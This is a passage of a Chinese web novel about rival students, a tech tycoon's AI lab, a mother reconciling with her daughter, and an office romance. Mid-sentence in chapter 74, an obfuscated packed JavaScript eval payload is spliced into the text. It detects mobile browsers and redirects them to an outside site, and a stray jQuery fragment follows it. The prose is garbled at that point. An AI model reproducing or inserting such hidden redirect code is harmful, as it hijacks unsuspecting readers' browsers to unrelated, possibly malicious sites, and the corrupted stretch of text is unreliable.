而陆若溪和苏阳则坐在前排。 对陆若溪而言，这是难得的学术盛宴。 而厉烬川，则坐在教室的后半区。 他的身边，一个空着的位置，很快被一个身影填满。 秦雅戴着一副墨镜，低调地坐了下来。 “别让我失望。”她在他耳边低语。 厉烬川的后背，微微绷紧。 很快，讲座开始了。 马尔科姆教授，用带着浓重口音的英语，开始在白板上写下一串串复杂的公式。 整个教室，只有笔尖划过纸张的沙沙声。 大部分人，已经听得云里雾里。 只有陆若溪这样的少数人，眼神明亮，紧紧跟随着教授的思路。 一个半小时的讲座很快结束，然后，进入了提问环节。 几个学生和业界人士，提出了自己的问题。 教授都一一做了解答。 就在主持人准备宣布结束时，一只手在前排举了起来。 是陆若溪。 她拿过话筒站起身来。 全场的目光，都聚焦在她身上。 “教授，您好。”她的声音平静。 “您刚才提到的，关于利用非套利原则，对含有跳跃过程的衍生品进行定价。我想请问，如果我们将这个模型，应用在一个高频交易的、非完全饱和的市场环境中，如何修正模型，来规避‘幽灵波动’对定价结果产生的系统性偏差？” 这个问题一出，全场哗然。 太前沿了。 也太冷僻了。 这已经超出了教科书的范畴，是当前学术界正在激烈争论的难题。 马尔科姆教授的脸上，也露出了欣赏的神色。 “这是一个非常好的问题……”他正准备深入阐述。 陆若溪却打断了他。 “抱歉，教授。” 她的目光，第一次，越过人群，准确地落在了后排的厉烬川身上。 “或许，这个问题，可以请我们金融系的才子，厉烬川同学，来为我们解答一下？” 第70章 不屈和偏执 陆若溪的话，像一颗投入平静湖面的深水炸弹，激起了千层浪。 所有人的视线，齐刷刷地转向了厉烬川。 厉烬川的身体瞬间僵硬，血液“轰”的一声冲上头顶。 他没想到，陆若溪会用这种方式，在这种场合向他宣战。 她不是在提问，她是在行刑。 当着数百名师生，当着全世界最顶级的学者，当着他身边的秦雅的面。 她布下了一个陷阱，一个他明知是陷阱却又无法拒绝的陷阱。 苏阳看着陆若溪清冷的侧脸，心中升起一种混杂着震撼与担忧的异样感觉。 他现在明白了，这就是她的反击。不动声色，却雷霆万钧。 用她的武器，在她的战场上，堂堂正正地将对手钉在耻辱柱上。 秦雅摘下了墨镜，嘴角噙着一抹残忍而有趣的笑容，饶有兴致地看着身旁的厉烬川。 她想看看，他要如何应对这场公开处刑。 厉烬川深吸一口气，缓缓站了起来。 他不能退。 退了，他在秦雅面前，就一文不值。 “这个问题，很有意思。”他强作镇定，脸上甚至挂起了一丝自信的微笑，仿佛被点名是他的荣幸。 他开始侃侃而谈。 他避开了问题核心的数学原理，试图用自己熟悉的金融术语和市场案例，去包装一个他根本不理解的内核。 他说得很快，很流利。 引用的名词，一个比一个高端。 一些不明就里的学生，甚至露出了钦佩的神情。 但陆若溪，只是静静地听着。 等他说完之后，陆若溪才再次拿起话筒。 “谢谢你的回答。”她的语气，依旧毫无波澜。 “但你的回答里，有三个致命的逻辑错误。” 随后，陆若溪逐一列出了厉烬川的致命错误。 陆若溪每说一点，厉烬川的脸色就白一分。 最后，陆若溪平静地做出总结： “你所说的一切，都只是建立在沙滩上的城堡，看似华丽，但海浪一来，一触就倒。” 她说完便放下了话筒，重新坐下。 全场，死一般的寂静。 下一秒，马尔科姆教授带头鼓起了掌，然后全场掌声雷动。 而厉烬川还僵硬地站在那里，脸色一阵青一阵白，最后化为一片死灰。 他感觉，自己像是被扒光了衣服，扔在广场中央被万人围观。 周围所有的掌声，都变成了对他无知和狂妄的无情嘲笑。 他看向陆若溪，那个女孩已经坐下，正和身边的苏阳低声讨论着什么。 她甚至，没有再看他一眼。 仿佛他，只是她解开一道难题后，随手丢弃在废纸篓里的，一张写满了错误答案的草稿纸。 一股前所未有的屈辱和愤怒，席卷了厉烬川全身。 他缓缓坐了下来。 身旁的秦雅，凑了过来。 “被打得很惨啊。”她的声音里，带着一丝幸灾乐祸的笑意， “她不只是赢了你，她是在公开处决你。” 厉烬川没有说话，他的拳头在桌下死死攥紧。 “不过……”秦雅话锋一转，声音里透出兴奋，“我喜欢你刚才站起来的胆量，也喜欢你现在充满仇恨的眼神。” “我讨厌懦夫，胜过讨厌失败者。” 她站起身，重新戴上墨镜。 “我在外面等你。” 说完，她踩着高跟鞋径直离去，留下一个潇洒又冷酷的背影。 厉烬川坐在原地，直到所有人都走光，教室里只剩下他一个人，他才缓缓起身。 他看着空无一人的讲台，看着陆若溪坐过的位置。 眼神里，没有了之前的愤怒和仇恨。 取而代之的，是一种更深，更冷，更偏执的占有欲。 他以为，他想得到她，是为了报复陆沉渊，是为了攀附豪门。 现在他明白了。 他要得到她，是为了征服，为了洗刷今天在这里所承受的一切耻辱。 他要让她，为今天的所作所为付出代价。 他要让她有一天，褪去所有清冷和高傲，心甘情愿地臣服于他。 这个念头，像一颗黑色的种子，在他的心里，汲取着屈辱的养分，疯狂地生根发芽。 …… 另一边。 陆若溪和苏阳，走在校园的林荫道上。 “你今天，太厉害了。”苏阳由衷地赞叹。 “我只是，不喜欢有人在我面前，不懂装懂。”陆若溪的语气很平淡。 对她来说，这确实不算什么大事。 厉烬川的出现，像一个恼人的不断报错的程序。 她只是用最有效的方式，将他修复，或者说，格式化。 “他不会善罢甘休的。”苏阳有些担忧。 “我知道。”陆若溪点头，“但他以后，不会再用这种愚蠢的方式来烦我了。” 她已经展示了自己的态度和底线。 如果厉烬川还想纠缠，就必须换一种，她无法在智力上碾压的方式。 比如，权力，或者资本。 而那，就不是她的战场了。 那是她哥哥，陆沉渊的战场。 “走吧，回实验室。上周的模型还有几个参数要优化。”她加快了脚步。 对她来说，和那些永恒的数学定理相比。 厉烬川，不过是一个微不足道的插曲而已。 …… 秦雅的车，就停在校门口不远处。 厉烬川拉开车门坐了进去。 “想好怎么扳回一城了吗？”秦雅发动汽车，没有看他。 “想好了。”厉烬川的声音，恢复了冰冷的平静。 “既然在学校的象牙塔里斗不过她，那就在现实世界里打败她的哥哥。” “只要陆沉渊倒了，她那座用金钱和权力堆砌的象牙塔，自然也就塌了。” 秦雅闻言，发出了一串愉悦的笑声。 “很好。我喜欢这个计划。” 她从手包里，拿出一张黑色的银行卡扔给他。 “这里面，就是你要的五千万。” “公司，尽快注册起来。我要在一个月内，看到‘秦氏新能源’的招牌挂起来。” 厉烬川接过那张卡，很轻却又很重。 “谢谢。”他低声说。 “不用谢我。”秦雅开着车，目视前方，红唇却勾起一抹莫名的弧度。 “我只是，忽然觉得这场游戏变得有趣起来了。” “陆若溪，陆沉渊……我倒是很期待，你们兄妹能给我带来多少惊喜。” 她的脸上是那种唯恐天下不乱的兴奋的表情。 厉烬川看着窗外飞速倒退的街景。 他知道，从这一刻起。 他不再是那个一无所有的破落户。 他有了新的身份，新的资本。 秦氏新能源。 这是他厉烬川的新起点。 第71章 沉寂和爆发 时间流逝，一个学年转瞬即逝。 陆若溪升上了大二。 苏阳作为陆若溪的追随者以及追赶者，并没有被陆若溪拉开脚步。 厉烬川从公众视野里消失了很久。 他和秦雅成立的“秦氏新能源”，在过去的一年里没有掀起任何波澜。 仿佛那五千万的启动资金，和那场讲座上的屈辱都随着时间被冲刷干净。 但陆沉渊知道，那是一头蛰伏的狼。 他只是在等待，等待磨利自己的爪牙。 京州商界的格局，也在悄然变化。 陆氏集团在陆沉渊的掌控下，完成了内部整合股价稳步回升。 渊龙科技，则像一头横空出世的巨兽。 “无距”智能驾驶系统已经占据了夏国新能源车市场的半壁江山。 而渊龙科技自己的”无距“新能源整车制造的超级工厂，也完成了前期筹备工作，即将迎来落地。 墨氏集团在墨清漓的领导下，发展更是迅猛。 不管是“烛龙”电池系统在新能源领域的统治地位，还是墨氏集团的材料板块的在Y国之外，从夏国国内再开一片天地，都让这个老牌豪门在最前沿的领域焕发生机。 而秦氏集团，似乎并没有因为厉烬川的加入，有任何不一样的变化。 不过，国际巨头，已经悄然在京州落子。 …… 这一年。 陆若溪的名字，开始频繁出现在国际数学界的视野里。 陆若溪像是解开了一道枷锁，她的天赋得到了毫无保留的释放。 普特南数学竞赛，特等奖。 国际大学生数学建模竞赛，特等奖。 她在最顶级的学术殿堂里，攻城掠地。 那个曾经在安河县，需要靠自己打工赚取学费的女孩，如今已经站在了同龄人的顶峰。 她变得更加自信，也更加专注。 她的世界，纯粹得只剩下那些美丽的公式和定理。 而苏阳，也兑现了他的天赋。 陆沉渊为他，也为陆若溪，在京州大学内部又投资了一个独立的实验室。 挂靠在计算机系和数学系之下。 资金，设备，人员，全部由渊龙科技提供。 苏阳，成为了这个名为“盘古”实验室的首席研究员。 他展现出了在计算机领域，近乎恐怖的直觉和创造力。 这一天，盘古实验室里，爆发出了一阵欢呼。 “成功了！模型跑通了！” “天啊，苏阳，你简直是个天才！” 苏阳看着屏幕上，那条完美收敛的曲线，也露出了如释重负的笑容。 他做到了。 他带着团队，耗时几个月，不眠不休。 终于，开发出了一个全新的基于深度残差网络和注意力机制的自然语言处理模型。 他给这个模型，起了一个名字。 “女娲”。 陆若溪走了过来。 她看了一眼屏幕上的数据，眼神里也闪过一丝赞许。 “很漂亮的模型。”她说，“它的语义理解能力，比市面上所有公开的模型，都要高出一个量级。” “但是……”苏-阳的眉头，又皱了起来。 “它的算力消耗，太恐怖了。” 他指着另一块屏幕上的监控数据。 “我们调用了学校超算中心百分之三十的资源，才勉强让它完成了一次完整的训练。” “一次训练，就要烧掉几十万。这根本无法商业化。” 实验室里的气氛，瞬间从狂喜，跌落到凝重。 一个无法投入实际应用的模型，无论多先进都只是一个昂贵的玩具。 “问题出在哪里？”陆若溪问。 “CPU。”苏阳一针见血。 “我们现有的计算架构，是以CPU为核心的。它擅长逻辑控制，但不擅长这种大规模的，并行的，浮点运算。” “‘女娲’模型的参数量太庞大了。每一次训练，都像是在让一个逻辑学家，去做几亿次单纯的加减法。效率太低了。” 苏阳有些沮丧，像是攀上了一座高峰，却发现，山顶之上还有一片无法跨越的天空。 …… 渊龙科技，顶层办公室。 陆沉渊看着林远递交上来的，来自盘古实验室的报告。 报告的最后，是苏阳的亲笔签名以及他遇到的困境。 算力瓶颈。 陆沉渊的嘴角，勾起一抹不易察觉的弧度。 历史，总是惊人的相似。 他当然知道解决方案。 GPU。 图形处理器。 在他穿越前的世界里，正是这个为了电子游戏而生的小小芯片，在十几年后，意外地开启了人工智能的黄金时代。 它拥有数以千计的核心，专门为处理大规模并行计算而设计。 用它来跑深度学习模型，就像是找到了最契合的那把钥匙。 他现在就可以把这个答案，直接告诉苏阳。 这能为他，为渊龙科技，节省下至少三到五年的摸索时间。 让“女娲”模型，提前降临这个世界。 但是…… 陆沉渊的手指，在桌面上轻轻敲击着。 他陷入了沉思。 授人以鱼，不如授人以渔。 直接给出答案，苏阳和他的团队，会失去一次最宝贵的，独立解决顶层设计难题的机会。 这对他们未来的成长，是一种损害。 科技的进步，不只是灵光一现。 更重要的，是那个不断试错，不断碰壁，最终找到正确道路的过程。 这个过程，本身就是最宝贵的财富。 陆沉渊深思熟虑后，做出了决定。 他不干预。 至少，现在不。 他拿起电话，接通了林远。 “告诉苏阳，他的报告我看了。” “‘女娲’模型很有价值。渊龙科技会全力支持。” “让他不用担心钱的问题，大胆去试。” “另外，今年的世界人工智能大赛（WAIC），给他报个名。让他带着团队，去见识一下世界顶级的水平。” “是，陆总。” 挂断电话，陆沉渊看向窗外。 他相信苏阳的潜力。 他要的，不是一个只会执行命令的技术员。 而是一个能和他并肩，共同开创一个时代的真正的科学家。 有时候，最好的帮助，就是不帮助。 只是提供一个足够宽广的舞台，和无限试错的资本。 然后，静静等待，等待种子自己冲破土壤。 第72章 又是一年杏叶黄 楼梦玲的生活变得简单而充实，她在美术学院重新成为了一名讲师。 二十几年的空白并没有磨灭她的才华，反而像陈年的酒，让她对艺术、对生命有了更深的沉淀。 她的课很受欢迎。 她不再是那个困在豪门深宅里，愁容满面的陆夫人。 她变回了楼梦玲。 那个自信、优雅，在画板前会发光的楼梦玲。 在找回自我的同时，楼梦玲小心翼翼地试图靠近自己的女儿。 虽然楼梦玲和陆若溪在同一个校园里，但她很有分寸。 她从不去打扰陆若溪的学习和实验。 只是，每天计算好时间，在陆若溪傍晚回宿舍的路上，她会提着一个保温饭盒等在那里。 “若溪，刚做好的汤，你带回去喝。” “若溪，今天做了你爱吃的糖醋排骨。” “若溪，别太累了，注意身体。” 她的话不多，每次都只是把饭盒递过去，叮嘱几句，然后就离开。 像一个最普通的关心女儿的母亲。 一开始，陆若溪是抗拒的。 她会礼貌，但疏离地拒绝。 “谢谢您，不用了。我在食堂吃。” 楼梦玲也不强求，她会笑着说： “没关系，那妈妈自己吃。” 然后，第二天，她还是会准时出现。 风雨无阻。 渐渐地，陆若溪不再拒绝。 她会沉默地，接过那个永远温热的饭盒。 然后，低声说一句：“谢谢。” 再后来，她会在接到饭盒后，多说一句：“您也早点休息。” 这样微小的，如同蜗牛爬行般的靠近。 楼梦玲坚持了整整一年。 她用最笨拙，也最真诚的方式，一点一点融化着女儿心中那座冰山。 她知道，那座冰山下面，埋藏着十八年的委屈和伤害。 她不奢求立刻被原谅。 她只是想，让女儿知道。 这个世界上，有一个人，在笨拙地爱着她。 …… 这一天。 苏阳的母亲，从安河县来看他。 也给陆若溪带来了一些消息，一些关于养母张翠兰的消息。 “那个女人啊……”苏阳的母亲，叹了口气。 “自从你哥给了她那笔钱，她就把老房子卖了，在县城里买了个新楼房。” “没再嫁人，也不工作，天天就是打麻将、逛街。” “日子过得，倒也滋润。” 陆若溪静静地听着。 “她没再找过你吧？”苏母小心翼翼地问。 “没有。”陆若溪摇头。 “那就好，那就好。”苏母松了口气。 “其实……”她犹豫了一下，还是说了出来。 “若溪，你之前，是不是给她打过一个电话？” 陆若溪的眼神，微微动了一下。 那是她刚来京州不久，拿到陆沉渊给的第一笔生活费时。 她犹豫了很久，还是拨通了那个熟悉的号码。 她不知道自己想说什么，甚至，她都不知道自己是在干什么。 或许，只是想做个了结吧。 但是，电话没人接。 “我后来碰到她，问过她。”苏母说。 “她说，她看到了来电显示。是京州的号码。她知道是你。” “但她没敢接。” “她说，她没脸接你的电话。她这辈子，最对不起的人，就是你。” “她说，她就是个混蛋，是个烂人。不配当你妈。” “拿着你哥给的钱，她心里有愧。所以，这辈子，也不想再打扰你了。” 苏阳的母亲，将这些话原原本本地，转述给了陆若溪。 陆若溪听完，沉默了很久。 她没有哭，也没有任何激烈的情绪。 只是，那双清澈的眼睛里，有什么东西彻底放下了。 “我知道了，谢谢阿姨。”她说。 那天之后，她再也没有想起过，安河县的那个家。 那个充斥着谩骂，争吵，和无尽劳作的，所谓“家”。 连同张翠兰这个人，都一起被她封存进了记忆最深的角落。 像一本翻过去的，不会再读的书。 过去，终于，彻底过去了。 …… 夜幕降临，华灯初上。 陆若溪结束了一天的实验，走出实验楼。 深秋的晚风，带着凉意。 她紧了紧身上的风衣，向宿舍楼走去。 走到楼下那片熟悉的银杏林时，她停下了脚步。 那个熟悉的身影，正提着一个保温饭盒，站在路灯下。 灯光将她的影子，拉得很长。 似乎比平时，显得更单薄了一些。 是楼梦玲。 她看到陆若溪，脸上立刻露出了温柔的笑。 她快步走过来。 “若溪，今天煲了鸡汤，你快拿回去，趁热喝。” 她说着，就要把饭盒递过来。 陆若溪没有接。 她只是静静地看着眼前的女人。 看着她眼角的细纹，和鬓边不知何时染上的几根银丝。 她想起了苏阳母亲说的话。 想起了张翠兰。 一个生了她，却从未养过她。 一个养了她，却从未爱过她。 眼前的这个女人，小心翼翼，笨拙地，想要弥补一份迟到了十八年的爱。 她忽然觉得，有些疲惫。 也有些，释然。 楼梦玲见她不接，脸上的笑容有些僵住。 眼神里，闪过一丝失落和不安。 “是不喜欢吗？那我明天……” “妈。” 陆若溪忽然开口。 声音很轻，却像一道惊雷，在楼梦玲的耳边炸响。 楼梦玲的身体，瞬间僵住了。 她愣愣地看着陆若溪，以为自己出现了幻听。 她……她叫我什么？ “我一个人，喝不完。” 陆若溪的目光，没有躲闪，清澈，平静。 她看着楼梦玲，一字一句地，清晰地说道： “进来，一起吃吧。” “轰——” 楼梦玲的大脑，一片空白。 所有的声音，所有的画面，都在这一刻，离她远去。 她的世界里，只剩下女儿的那句话，在反复回响。 进来，一起吃吧。 进来，一起吃吧。 眼泪，毫无预兆地决堤而下。 她捂住嘴，不想让自己哭出声。 可那巨大的、汹涌的喜悦，混杂着多年的委屈和心酸，根本无法抑制。 她像一个在黑暗中，行走了太久太久的旅人。 终于，看到了光。 也终于，等到了那扇，为她敞开的门。 她拼命地点头，一句话也说不出来。 陆若溪看着她这副样子，心中那座冰封已久的、坚硬的堡垒，终于，彻底融化了一角。 她伸出手，第一次，主动地从楼梦玲颤抖的手中，接过了那个沉甸甸的、温暖的饭盒。 “走吧。”她说。 然后，转身向那栋亮着灯的家属楼走了进去。 楼梦玲抹去眼泪，连忙跟了上去。 楼梦玲的脚步是前所未有的轻快，仿佛卸下了一生一世的重担。 那个秋天的夜晚。 京州大学的家属楼里，有一盏灯，亮了很久。 灯光下，是一碗热气腾腾的鸡汤。 和一个，迟到了十八年的新的起点。 第73章 人间烟火 “无距”系统像一条贪食的巨蛇，吞噬着国内外的市扬份额。 人工智能，生物医疗，新材料。 陆沉渊布下的棋子，开始一一发挥作用。 他的商业版图，以一种令人生畏的速度膨胀。 随之而来的，是无形的压力和潜藏的对手。 每天，都有无数的数据和报告，汇总到他的案头。 每一个决策，都可能影响一个产业的未来走向。 他像一个站在山巅的君王，孤独且清醒。 但回到云顶壹号的顶层公寓，一切都会改变。 这里，是他的另一个世界。 一个只有少数人能踏足的，柔软的，充满烟火气的世界。 墨清漓成了这里的常客。 起初，她只是偶尔过来，和他讨论一些商业上的合作。 当初从Y国回来，陆沉渊小腿骨折，墨清漓把陆沉渊楼下的公寓买下来了，方便照顾。 但是陆沉渊腿伤好了之后，墨清漓大部分时间也是回墨家居住了。 但是，后来，她开始习惯性地在结束一天工作后，直接驱车来到这里。 她会脱下高跟鞋，换上舒适的拖鞋。 卸下墨氏女王的盔甲，慵懒地窝在沙发里。 手里拿着的，不再是只是墨氏集团的财报。 而是，也会包含陆沉渊的对手，或者潜在威胁的详细资料。 “这个叫文森特的华尔街之狼，最近在恶意做空我们的几个供应商。手法很刁钻，专挑现金流脆弱的下手。” 墨清漓指着平板上一个金发男人的照片，声音清冷却带着一丝关切。 “他的目的是想扰乱我们的供应链，拖慢‘无距’整车的生产进度。” 厨房里，传来一阵阵有节奏的切菜声。 陆沉渊围着一条简单的围裙，正在处理一块上好的牛腩。 他的刀工很好，稳，准，快。 陆沉渊兑现了当初腿伤刚好的时候，对墨清漓的承诺，做饭给她吃。 “我注意他很久了。”陆沉渊的声音从厨房传来，被食物的香气浸染，显得温和了许多。 “一只闻到血腥味的苍蝇而已，不足为虑。” “我让林远准备了一份‘礼物’，过两天，会送到他面前。” 墨清漓闻言，不再多问。 她相信陆沉渊的判断和手段。 她放下平板，信步走到开放式厨房的吧台前。 看着陆沉渊熟练地将切好的牛腩焯水，放入砂锅，加入香料和秘制酱汁。 动作行云流水，不像一个执掌千亿帝国的霸总，倒像一个浸淫厨艺多年的老师傅。 “今天做什么？”她好奇地问。 “西红柿炖牛腩。”陆沉渊说，“以前，一个大娘教我的方子。她说，这是她家祖传的，能让人吃出幸福感的菜。” 墨清漓看着他专注的侧脸，心中微微一动。 她发现，自己越来越喜欢看他做饭的样子。 这个男人，在外面，是运筹帷幄、杀伐果决的陆总。 回到这个家里，他就能洗手作羹汤，为你烹一碗人间烟火。 这种反差，比任何甜言蜜语，都更让她着迷。 随着陆沉渊商业版图的扩张，他回家的时间越来越晚。 墨清漓看在眼里，心中有几分隐隐冲动。 可是，在她几次曾尝试过下厨，差点把陆沉渊那套价值不菲的高端厨具送去报废，以及差点点燃厨房之后，墨清漓清醒地认识到，无所不会的女王也有盲区。 从那以后，陆沉渊便正式接管了厨房。 而墨清漓，也心安理得地享受着他的投喂。 陆沉渊的厨艺，其实是一个大大的惊喜。 他总能做出一些，她闻所未闻，却又异常美味的菜肴。 有一次，他做了一道“地锅鸡”。 用一个大铁锅，饼贴在锅边，下面炖着鸡。 那粗犷，豪迈，又热气腾腾的吃法，让她这个从小接受顶级餐桌礼仪教育的豪门千金，感到了前所未有的新奇和快乐。 还有一次，是一道来自西南山区的“酸汤鱼”。 那酸爽开胃的味道，让她一连吃了三碗饭。 甚至，远远不止这些，什么汽锅鸡、血粑鸭、土笋冻，很多墨清漓之前都没怎么听过的美食，陆沉渊居然都会！ 她发现，陆沉渊就像一个宝藏。 你永远不知道，他还有多少不为人知的一面。 她越来越享受这种感觉。 在外面，他们是并肩作战，气扬全开的盟友。 回到这里，他们褪去所有光环，只是最普通的一对年轻男女。 在激烈的商战之余，获得片刻的心灵平静。 这种平稳而温暖的关系，让她感到无比的安心。 …… 这天晚上。 陆沉渊刚把牛腩炖上，他的私人手机就响了起来。 是任茜。 “陆总，抱歉这么晚打扰您。”任茜的声音，带着一丝急切。 “关于北美‘星链’公司的一份紧急收购提案，我刚拿到。对方要求我们，必须在明早美股开盘前，给出明确答复。” “这份提案涉及到我们未来的全球通信战略，我需要立刻向您当面汇报。” 陆沉渊看了一眼墙上的挂钟，晚上九点。 他沉默了片刻。 云顶壹号这间公寓，是他的私人领域。 除了林远和张奇因为特殊原因来过，他从未让任何公司下属踏足。 尤其是任茜。 他很清楚自己这位老同学的心意。 正因如此，他才更要保持距离。 任何不必要的私下接触，都是一种不负责任的暧昧和伤害。 但是，今晚的情况确实特殊。 “星链”的提案，关系重大，他必须亲自过目。 陆沉渊看了一眼正在客厅里看书的墨清漓。 一个念头，在他脑中闪过。 或许，这也是一个机会。 一个，快刀斩乱麻的机会。 “你到云顶壹号门口，给我打电话。”他说。 “好的，陆总。” 挂断电话，墨清漓抬起头看向他。 “有紧急工作？” “嗯，任茜要送一份紧急文件过来。”陆沉渊平静地回答。 墨清漓何等敏锐。 她立刻就从陆沉渊那过于平静的语气里，捕捉到了一丝不寻常。 她笑了笑，没有说话，继续低头看书。 似乎，并不在意。 第74章 斩桃花 半小时后，任茜站在了云顶壹号的电梯里。 电梯平稳上升，她的心跳却在不受控制地加速。 她进过陆沉渊在陆氏集团的办公室无数次。 而渊龙科技里陆沉渊的办公室，任茜更是常客。 甚至，原来陆沉渊的家，陆家庄园，任茜也曾经去过。 但是，陆沉渊在这里的私人住所，今天是第一次来。 她整理了一下自己的职业套装，深呼吸，试图平复心情。 今天，她只是来汇报工作的。 不能有任何多余的想法。 电梯门打开。 她走到那扇紧闭的门前，拨通了陆沉渊的电话。 门很快就开了。 开门的是陆沉渊。 他没有穿西装，只穿着一身简单的灰色居家服。 少了几分平日的疏离和威严，多了几分居家的慵懒和感性。 任茜的心，漏跳了一拍。 “进来吧。”陆沉渊侧身让她进屋。 任茜换上鞋，走了进去。 一进门，一股浓郁的，温暖的食物香气就包裹了她。 然后，她就看到了。 客厅的沙发上，坐着一个女人。 那个女人穿着一身真丝睡袍，长发随意地披散着。 她正抬起头，向门口看来。 那张脸，任茜再熟悉不过，墨氏集团的女王，墨清漓。 她为什么会在这里？而且是穿着睡袍，在他的家里？ 虽然所有人都知道渊龙科技和墨氏集团走得很近，可是他们难道不只是战略伙伴吗？ 怎么会是这样？ 任茜的大脑，瞬间一片空白。 她手里紧紧攥着的文件夹，差点掉在地上。 这些年，她一直有一个幻想。 她知道陆沉渊不属于她。 但她也固执地认为，陆沉渊不属于任何女人。 他就像天上的月亮，清冷，孤高。 所有人都可以仰望他，但没有人可以拥有他。 所以，她可以心安理得地，以最得力的下属，最亲近的战友的身份，陪在他身边。 她以为，自己是离月亮最近的那颗星星。 可今天。 她亲眼看到，月亮，早已落入了别人的怀中。 成了别人的，人间烟火。 “任总，你好。” 墨清漓站起身，朝她微微一笑。 那笑容，优雅，从容，带着一种不容置疑的女主人气场。 这一下，任茜彻底明白了。 这不是偶然。 而她，是一个闯入者。 一个，不合时宜的外人。 “坐吧。”陆沉渊指了指餐厅的椅子，语气自然得仿佛只是招待一个普通同事。 “正好牛腩炖好了，一起吃点。” “不了，陆总。”任茜的声音，有些干涩。 她强迫自己，维持着最后的职业素养。 她走到餐桌前，打开文件夹。 “这是星链的收购提案，您需要尽快做决定。” 她用最快的速度，最简洁的语言，汇报了核心要点。 整个过程，她不敢去看陆沉渊，更不敢去看墨清漓。 她感觉自己像一个拙劣的小丑，在一场不属于自己的盛宴上，进行着滑稽的表演。 汇报完毕。 “我明白了。”陆沉渊点了点头。 “我先不打扰您用餐了。”任茜立刻说道，她一秒钟都不想再待下去。 “我送你。”陆沉渊说。 “不用了，陆总。” 任茜几乎是逃也似的，转身，快步走出了那扇门。 她没有回头。 她怕一回头，眼泪就会掉下来。 …… 门，关上了。 公寓里，恢复了安静。 陆沉渊回到餐桌旁。 墨清漓正慢条斯理地，给自己盛了一碗牛腩汤。 她吹了吹热气，轻轻尝了一口。 然后，抬起眼看向陆沉渊，似笑非笑。 “陆沉渊。” “嗯？” “你故意的。”她用的是陈述句。 陆沉渊没有否认。 他拿起碗，也给自己盛了一碗汤。 “有些事情，长痛不如短痛。”他平静地说。 “直接告诉她，她不会信，只会觉得是借口。” “让她亲眼看到，她才会彻底死心。” “这对她，是最好的方式。” 他的语气，理智，冷静，甚至有些冷酷。 但也坦诚得，让人无法反驳。 墨清漓看着他。 这个男人，做事总是这样。 谋定后动，直击要害。 用最有效的方式，解决所有问题，包括感情问题。 她心中，既有一丝赞许，又有一丝嗔怒。 赞许他处理事情的干脆利落，不拖泥带水，给了别的女人最明确的拒绝，也给了她最顶级的安全感。 嗔怒他，居然拿自己来当挡箭牌。 “所以，我是你斩断桃花的，那把刀？”墨清漓挑了挑眉。 陆沉渊听出了她语气里的那丝玩味。 他连忙放下碗，举起双手，做投降状。 “我错了。”他一脸诚恳，“女王大人，请您责罚。” “噗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348520|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗤。” 墨清漓被他这副样子逗笑了。 她白了他一眼，那一眼，风情万种。 “吃饭。” 墨清漓看着陆沉渊“伏低做小”的一面，忽然觉得，这样的陆沉渊，比那个永远冷静自持的商业帝王，更真实，也更可爱。 一场小风波，就在这碗热气腾腾的牛腩汤里，烟消云散。 …… 任茜不知道自己是怎么走出那栋楼的。 她的脑子里，一片混乱。 陆沉渊穿着居家服的样子，墨清漓穿着睡袍的笑容。 一幕一幕，像刀子一样反复切割着她的心脏。 她以为自己隐藏得很好。 她以为，他们是最好的搭档，最默契的战友。 原来，一切都只是她的一厢情愿。 他什么都知道。 所以，他才会用这样一种方式，体面，却又残忍地告诉她答案。 任茜走到小区一处僻静的长椅上，坐了下来。 秋夜的风，很凉。 吹在脸上，像冰冷的刀片。 她再也忍不住了。 她抱住自己，将头埋进膝盖里，放声大哭。 压抑了近十年的，所有的委屈、不甘和绝望。 在这一刻，彻底爆发。 她哭得撕心裂肺，像一个迷路的孩子。 她不知道哭了多久。 哭到嗓子沙哑，浑身发冷。 她慢慢抬起头，通红的眼眶里，满是泪水和茫然。 就在这时，一件带着体温的西装外套，轻轻地披在了她的肩上。 任茜浑身一僵，猛地回头。 只见林远，就站在她的身后。 他手里，还拿着一瓶温热的矿泉水。 他没有说话，只是静静地看着她。 路灯下，他的眼神，温和，而又充满了担忧。 “学姐，喝点水。” 林远拧开一瓶矿泉水的瓶盖，递到她面前。 水的温度，是温的。 显然，他一直揣在怀里。 任茜看着他，看着这个比自己小两届的学弟。 从大学时代开始，他似乎就永远是这样。 谨慎，务实，可靠。 永远站在陆沉渊身后，处理着最繁杂的事务，却又毫无怨言。 也永远，在她需要帮助的时候，第一时间出现。 她接过水，紧紧地握在手里。 那份恰到好处的温暖，从掌心，一点点渗透进冰冷僵硬的身体里。 “谢谢。”她的声音沙哑得厉害。 “陆总……不放心你。”林远找了一个最不会让她感到尴尬的理由。 第75章 暗恋的人 林远没有说，其实是他自己在渊龙科技的办公室里，接到了陆沉渊那个简短的电话后，就心神不宁。 “任茜来我这了一趟。” 仅仅一句话，林远就猜到了大概。 他知道陆总的公寓里，还有另一位女主人。 他也知道学姐任茜，那份隐藏了近十年的心事。 所以，他几乎是立刻就放下了手头的工作，驱车赶了过来。 他没有上楼，只是在楼下，找了一个不引人注意的角落，默默地等着。 **自己能做什么，甚至，**自己想做什么。 或许，只是想确认她能平安地离开。 然后，他就看到了她失魂落魄地走出来，看到了她坐在长椅上，像个孩子一样崩溃大哭。 那一刻，林远的心，像是被一只无形的手，紧紧地攥住了。 疼得他无法呼吸。 “我送你回去吧。”林远的声音很轻，怕惊扰到她。 任茜没有拒绝。 她现在确实没有任何力气，去思考，去开车。 她的大脑一片空白。 回去的路上，车里很安静。 任茜靠在副驾驶的座椅上，闭着眼睛，长长的睫毛上还挂着泪珠。 林远开得很稳。 他时不时地，眼神会转投过来，默默地看她一眼。 那眼神里，有心疼，有担忧，还有一份他自己都不敢深究的，浓烈的情感。 他喜欢任茜。 从大学时，第一次在课题小组里见到她，就喜欢上了。 她那么耀眼，那么能干，像一团永不熄灭的火焰。 可是，他很快就发现，这团火焰的光芒，永远只追随着另一个人。 陆沉渊。 林远把这份刚刚萌芽的情愫，毫不犹豫地掐断，深深地埋进了心底。 他很清楚自己和陆沉渊的差距。 所以，他选择成为最忠诚的追随者，最可靠的战友。 